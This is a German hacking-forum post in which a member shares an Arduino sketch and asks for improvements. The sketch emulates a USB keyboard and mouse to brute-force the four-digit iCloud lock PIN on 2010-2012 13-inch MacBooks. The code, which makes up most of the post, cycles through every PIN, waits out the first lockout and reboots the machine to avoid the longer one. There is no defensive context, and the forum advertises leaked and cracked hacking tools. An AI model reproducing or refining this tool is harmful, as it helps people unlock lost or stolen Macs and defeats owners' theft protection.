Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

iCloud Pin Bruteforcing für 13"Macbooks von 2010-2012

- - - - -

  • Bitte melde dich an um zu Antworten
Keine Antworten in diesem Thema

#1
most_uniQue

most_uniQue

    AV Agent

  • Premium Member
  • Likes
    228
  • 478 Beiträge
  • 500 Bedankt
  • iPhone
  • Windows, Linux, Mac OS
Moin,
Ich wollt mal hören ob ihr vielleicht an diesem Script noch was zu verbesser etc habt ?
Vorschläge und so sind gern erwünscht..

// iCloud Pin Bruteforcing für 13"Macbooks von 2010-2012
// Für das Kompilieren auf eimem Arduino Microcontroller gedacht welcher dann an USB angeschlossen wird
// Script startet automatisch nach dem Anschliessen
// Maximale Zeit: 60 Stunden

#include <usb_keyboard.h>
#include <usb_mouse.h>

const int ledpin = 13;
int waitcounter = 0;
int guesscounter = 0;
char guess[5]="0000";

void resetMouse() { for(int i=0; i<6; i++) { Mouse.move(-127, 127); delay(200); } }
void moveMouse(int x, int y) { Mouse.move(x, y); delay(200); }
void pressKeyboard(int key) { Keyboard.press(key); delay(200); Keyboard.release(key); delay(500); }

void setup() {
pinMode(ledpin, OUTPUT);
keyboard_modifier_keys = 0;
delay(5000); // 5Sekunden warten bevor es losgeht
resetMouse();
moveMouse(127, -127); // Maus schliesst das WiFi-Popup
moveMouse(127, -127);
moveMouse(127, 0);
Mouse.click(MOUSE_LEFT);
delay(500);
pressKeyboard(KEY_ESC);
delay(500);
Mouse.click(MOUSE_LEFT);
delay(200);
}

void loop(){
if(waitcounter == 5) delay(65000); // Erste Sperre von 1Min. Warten und dann weiter
else if(waitcounter == 6) { // Sperre von 5 Minuten erreicht.Neustart anstatt warten
digitalWrite(ledpin, HIGH);
delay(45000); // Falls richtige Pin, dann 45Sekunden warten
resetMouse(); // Maus auf dem Restart-Button
moveMouse(127, -45);
moveMouse(127, 0);
moveMouse(100, 0);
Mouse.click(MOUSE_LEFT); // Neustart anklicken & warten bis komplett fertig
delay(75000);
resetMouse();
moveMouse(127, -127); // Maus schliesst das WiFi-Popup
moveMouse(127, -127);
moveMouse(127, 0);
Mouse.click(MOUSE_LEFT);
delay(500);
pressKeyboard(KEY_ESC);
delay(500);
Mouse.click(MOUSE_LEFT);
digitalWrite(ledpin, LOW);
waitcounter = -1;
}
waitcounter++;

if(guesscounter <= 9999) {
delay(1000); // 1Sekunde Pause zwischen der Eingabe der Zahlen
digitalWrite(ledpin, HIGH);
snprintf(guess, 6, "%04d", guesscounter);
pressKeyboard(guess[0]);
pressKeyboard(guess[1]);
pressKeyboard(guess[2]);
pressKeyboard(guess[3]);
pressKeyboard(KEY_RETURN);
digitalWrite(ledpin, LOW);
} else { // LED-Dauerleuchten wenn Erfolg
while(true) {
digitalWrite(ledpin, HIGH);
delay(100);
digitalWrite(ledpin, LOW);
delay(100);
}
}
guesscounter++;
}


LG

Eingefügtes Bild




Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 7 user(s)


    852456, drpepper11, Juri, macinchris, macinchris, most_uniQue, smc2014
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.